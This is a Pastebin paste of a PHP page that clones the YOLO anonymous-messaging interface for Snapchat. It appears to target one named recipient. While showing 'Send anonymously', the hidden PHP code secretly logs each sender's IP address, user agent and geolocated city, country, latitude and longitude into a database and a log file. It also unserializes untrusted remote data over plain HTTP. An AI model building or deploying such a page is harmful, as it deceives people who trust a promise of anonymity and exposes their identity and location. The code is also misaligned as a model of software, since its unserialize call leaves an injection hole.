Advertisement
P22DX

a.php

Jan 28th, 2020
558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.33 KB | None | 0 0
  1. <?php
  2. $host = '127.0.0.1';
  3. $db = 'mydb';
  4. $user = 'root';
  5. $pass = 'root';
  6. $charset = 'utf8mb4';
  7. $table = 'my_table';
  8.  
  9. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  10. $options = [
  11.     PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
  12.     PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  13.     PDO::ATTR_EMULATE_PREPARES => false
  14. ];
  15. try {
  16.     $pdo = new PDO($dsn, $user, $pass, $options);
  17. } catch (\PDOException $e) {
  18.     throw new \PDOException($e->getMessage(), (int) $e->getCode());
  19. }
  20. //get user ip address details with geoplugin.net
  21. //get user ip address
  22. $ip_address = $_SERVER['REMOTE_ADDR'];
  23.  
  24. //get user ip address details with geoplugin.net
  25. $geopluginURL = 'http://www.geoplugin.net/php.gp?id=' . $ip_address;
  26. $addrDetailsArr = unserialize(file_get_contents($geopluginURL));
  27.  
  28. //get city name by return array
  29. $city = $addrDetailsArr['geoplugin_city'];
  30.  
  31. //get country name by return array
  32. $country = $addrDetailsArr['geoplugin_countryName'];
  33.  
  34. if (isset($_POST['text'])) {
  35.     if (!empty($_POST['text'])) {
  36.         $text = $_POST['text'];
  37.         $fileName = 'log.txt';
  38.         $text = [
  39.             'from' => $_SERVER['REMOTE_ADDR'],
  40.             'user_agent' => $_SERVER['HTTP_USER_AGENT'],
  41.             'city' => $addrDetailsArr['geoplugin_city'],
  42.             'continent' => $addrDetailsArr['geoplugin_continentName'],
  43.             'country_code' => $addrDetailsArr['geoplugin_countryCode'],
  44.             'country' => $country,
  45.             'timezone' => $addrDetailsArr['geoplugin_timezone'],
  46.             'currency' => $addrDetailsArr['geoplugin_currencyCode'],
  47.             'lalitude' => $addrDetailsArr['geoplugin_latitude'],
  48.             'longitude' => $addrDetailsArr['geoplugin_longitude'],
  49.             'message' => $text
  50.         ];
  51.  
  52.         $indexDatas = implode(', ', array_keys($text));
  53.         $indexDatas = preg_replace(
  54.             '/' . preg_quote($indexDatas, '/') . '$/',
  55.             '',
  56.             $indexDatas
  57.         );
  58.         $query = "INSERT INTO $table ($indexDatas) VALUES(:from, :user_agent, :city, :continent, :country_code, :country, :timezone, :currency, :lalitude, :longitude, :message)";
  59.  
  60.         $statement = $pdo->prepare($query);
  61.         $statement->execute($text);
  62.  
  63.         $textJson = json_encode(
  64.             $text,
  65.             JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
  66.         );
  67.         $write = fopen($fileName, 'a+');
  68.         fprintf($write, $textJson . PHP_EOL);
  69.         fclose($write);
  70.     }
  71. }
  72. ?>
  73. <html lang="en">
  74.   <head>
  75.     <meta charset="utf-8" />
  76.  
  77.     <title>YOLO</title>
  78.  
  79.     <meta name="robots" content="noindex,nofollow" />
  80.  
  81.     <meta name="description" content="Send anonymous messages to Kyle Stokes" />
  82.  
  83.     <meta
  84.       name="og:image"
  85.       content="https://d1efvhlbiqueiq.cloudfront.net/favicon.png"
  86.     />
  87.  
  88.     <link
  89.       rel="stylesheet"
  90.       href="https://d1efvhlbiqueiq.cloudfront.net/css/style.min.css?v=1.0"
  91.     />
  92.  
  93.     <meta name="viewport" content="width=device-width, initial-scale=1" />
  94.  
  95.     <link
  96.       rel="shortcut icon"
  97.       type="image/x-icon"
  98.       href="https://d1efvhlbiqueiq.cloudfront.net/favicon.png"
  99.     />
  100.   </head>
  101.  
  102.   <body>
  103.     <div class="policy">
  104.       ⚠️ YOLO is for positive feedback only. No bullying. If you send harassing
  105.       messages to our users, you will be banned from the service. Happy Yoloing!
  106.       🤘
  107.     </div>
  108.  
  109.     <div class="send-message" id="send-message">Ask me anything</div>
  110.  
  111.     <div
  112.       class="bitmoji"
  113.       style="background: url('https://sdk.bitmoji.com/render/panel/3b30dba0-fdfc-494d-ab47-49d361fecc30-AS1tcjanhKw2qU3UHJT7f5AKDg_w-v1.png?transparent=1&amp;palette=1'); background-size: cover;"
  114.     ></div>
  115.  
  116.     <div class="text-box">
  117.       <form id="form" method="POST" action="">
  118.         <input id="userId" type="hidden" name="userId" value="qepYuX8kS9" />
  119.  
  120.         <textarea
  121.           id="text"
  122.           maxlength="240"
  123.           name="text"
  124.           placeholder="Type your message here"
  125.           autofocus
  126.         ></textarea>
  127.  
  128.             <button type="submit" id="send-button">Send anonymously</button>
  129.  
  130.         <div id="loader">
  131.           <div class="lds-ring">
  132.           </div>
  133.         </div>
  134.       </form>
  135.     </div>
  136.  
  137.     <div class="error">This is an error.</div>
  138.  
  139.     <div class="watermark">Powered by YOLO</div>
  140.  
  141.     <div class="download">
  142.       <div class="logo"></div>
  143.  
  144.       <div class="title">
  145.         Start receiving anonymous messages on Snapchat now
  146.       </div>
  147.  
  148.       <a href="https://onyolo.com/download"
  149.         ><div class="download-button">Download the app</div></a
  150.       >
  151.     </div>
  152.  
  153.     <script>
  154.     window.rSiteKey = "6Lc8pbEUAAAAAH1vRl91BAwIZruc_awYoPLL_9p1";
  155. </script>
  156.  
  157.     <script src="https://www.google.com/recaptcha/api.js?render=6Lc8pbEUAAAAAH1vRl91BAwIZruc_awYoPLL_9p1"></script>
  158.  
  159.     <script>
  160.     grecaptcha.ready(function() {
  161.         grecaptcha
  162.             .execute("6Lc8pbEUAAAAAH1vRl91BAwIZruc_awYoPLL_9p1", {
  163.             action: "message"
  164.     })
  165.  
  166.     .then(function(token) {});
  167.     });
  168. </script>
  169.  
  170.     <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script>
  171.  
  172.     <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
  173.  
  174.     <script
  175.       src="/public/js/script.min.js"
  176.       data-rsite-key="6Lc8pbEUAAAAAH1vRl91BAwIZruc_awYoPLL_9p1"
  177.     ></script>
  178.   </body>
  179. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement